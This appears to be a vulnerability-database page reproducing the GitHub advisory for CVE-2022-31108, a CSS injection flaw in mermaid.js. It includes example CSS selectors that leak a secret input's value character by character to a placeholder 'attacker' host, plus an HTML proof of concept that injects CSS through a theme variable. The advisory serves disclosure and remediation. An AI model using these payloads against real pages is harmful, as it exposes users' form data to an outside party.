GHSA-X3VM-38HW-55WF
Vulnerability from github – Published: 2022-07-05 18:29 – Updated: 2022-07-05 18:29An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
Product
mermaid.js
Tested Version
Details
Issue 1: Multiple CSS Injection (GHSL-2022-036)
By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35
Impact
This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mermaid"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "9.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31108"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-05T18:29:31Z",
"nvd_published_at": "2022-06-28T19:15:00Z",
"severity": "MODERATE"
},
"details": "An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors.\n\nThe following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to \"load\" a background image that will let an attacker know what\u0027s the value of the character.\n\n```css\ninput[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }\n...\ninput[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }\n...\ninput[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n## Product\n\nmermaid.js\n\n## Tested Version\n\n[v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1)\n\n## Details\n\n### Issue 1: Multiple CSS Injection (`GHSL-2022-036`)\n\nBy supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.\n\n_Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_\n\n```js\nconst getStyles = (type, userStyles, options) =\u003e {\n return ` {\n font-family: ${options.fontFamily};\n font-size: ${options.fontSize};\n fill: ${options.textColor}\n }\n```\n\nFor example, if we set `textColor` to `\"green;} #target { background-color: crimson }\"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.\n\n```html\n\u003chtml\u003e\n\n\u003cbody\u003e\n \u003cdiv id=\"target\"\u003e\n \u003ch1\u003eThis element does not belong to the SVG but we can style it\u003c/h1\u003e\n \u003c/div\u003e\n \u003csvg id=\"diagram\"\u003e\n \u003c/svg\u003e\n\n \u003cscript src=\"https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js\"\u003e\u003c/script\u003e\n \u003cscript\u003e\n mermaid.initialize({ startOnLoad: false });\n\n const graph =\n `\n %%{ init: { \"themeVariables\" : { \"textColor\": \"green;} #target { background-color: crimson }\" } } }%%\n graph TD\n A[Goose]\n `\n\n const diagram = document.getElementById(\"diagram\")\n const svg = mermaid.render(\u0027diagram-svg\u0027, graph)\n diagram.innerHTML = svg\n \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\nIn the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:\n\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35\n\n#### Impact\n\nThis issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.\n\n#### Remediation\n\nEnsure that user input is adequately escaped before embedding it in CSS blocks.",
"id": "GHSA-x3vm-38hw-55wf",
"modified": "2022-07-05T18:29:31Z",
"published": "2022-07-05T18:29:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31108"
},
{
"type": "WEB",
"url": "https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225"
},
{
"type": "PACKAGE",
"url": "https://github.com/mermaid-js/mermaid"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Possible inject arbitrary `CSS` into the generated graph affecting the container HTML"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.